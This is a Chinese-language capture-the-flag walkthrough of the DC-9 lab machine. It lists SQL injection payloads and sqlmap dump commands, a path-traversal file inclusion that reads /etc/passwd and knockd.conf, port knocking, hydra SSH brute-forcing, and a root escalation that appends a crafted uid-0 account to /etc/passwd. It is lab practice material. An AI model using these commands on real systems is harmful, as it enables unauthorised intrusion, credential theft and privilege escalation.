过程
1. 探测目标主机
nmap -sP 192.168.246.0/24
,得到目标主机IP:192.168.246.146
2. 信息搜集
- 端口信息
nmap -sV -p 1-65535 192.168.246.146
- web站点相关服务信息
- 目录信息
注:不要试着访问welcome.php、session.php和addrecord.php不然会直接跳到登录后的页面,但是并不能做任何操作…无用功,访问了也没关系,清除下缓存就可以了。
3. sql注入(post)
- 判断注入
点击search,也就是在search.php页面中,输入Mary' and 1=1#
和Mary' and 1=2#
,前者返回Mary的结果,后者为空,存在sql注入。
- 获取数据库信息
使用Burp抓包:
将post包保存为dc9.txt,然后进入使用sqlmap
sqlmap -r /root/Desktop/dc9.txt -p search --dbs
sqlmap -r /root/Desktop/dc9.txt -p search -D users --tables
sqlmap -r /root/Desktop/dc9.txt -p search -D users -T UserDetails --columns
sqlmap -r /root/Desktop/dc9.txt -p search -D users -T UserDetails -C firstname,lastname,username,password --dump
但是使用这些账号登录不了,可能是ssh的,但是ssh给过滤了,跑另一个数据库(方法一样):
sqlmap -r /root/Desktop/dc9.txt -p search -D Staff --tables
sqlmap -r /root/Desktop/dc9.txt -p search -D Staff -T Users --columns
整个dump下来:
sqlmap -r /root/Desktop/dc9.txt -p search -D Staff -T Users --dump
4. 登录后台
Add Record这个也没什么用,然后看到下面有个File does not exist,估计是文件包含:
尝试:
http://192.168.246.146/manage.php?file=../../../../etc/passwd
可以看到下面的用户,跟之前sqlmap跑出来的username有些对应上,但是22端口过滤了…
参考大佬文章得知,knockd.conf文件端口敲门服务,用于将服务器隐藏,也是这个原因让22端口给过滤了。
利用文件包含来查看knockd.conf文件,获得自定义端口,然后逐个进行敲门,这样我们就能够开启ssh端口:
http://192.168.246.146/manage.php?file=../../../../etc/knockd.conf
使用nmap:
nmap -p 7469 192.168.246.146
nmap -p 8475 192.168.246.146
nmap -p 9842 192.168.246.146
使用hydra看一下哪些用户可以登上ssh。
将用户名密码分别保存为user.txt和pass.txt文件中:
注意字典里不要有空格。
hydra爆破:
hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.246.146 ssh
5. 登录ssh
使用爆破出来的用户登录,然后查看文件ls -la
(可查看隐藏目录文件),在用户janitor
中发现隐藏的secrets-for-putin
目录,里面含有密码passwords-found-on-post-it-notes.txt
,查看后是:
增加在pass.txt后重新进行爆破:
hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.246.146 ssh
使用新的登录:
查看有无免密执行root的:
sudo -l
6. 提权
进入/opt/devstuff目录下,看到test.py文件:
含义:3个参数,将第二个参数的文件内容增加在第三个参数文件里面。
test目录可以root权限执行:
参考大佬思路:构造有root权限的账户放入到/etc/passwd中,利用构造的账户登录,就有了root权限了。
使用openssl生成:
openssl passwd -1 -salt xl xiaoLin
构造结果:xl:$1$xl$bvz59wqTT5z0GPenBl09W.:0:0::/root:/bin/bash
写入到tmp
目录下的xl中:
echo 'xl:$1$xl$bvz59wqTT5z0GPenBl09W.:0:0::/root:/bin/bash' > /tmp/xl
执行test:
sudo ./test/ /tmp/xl /etc/passwd
然后切换用户:
su xl
xiaoLin
进入root目录,查看theflag.txt: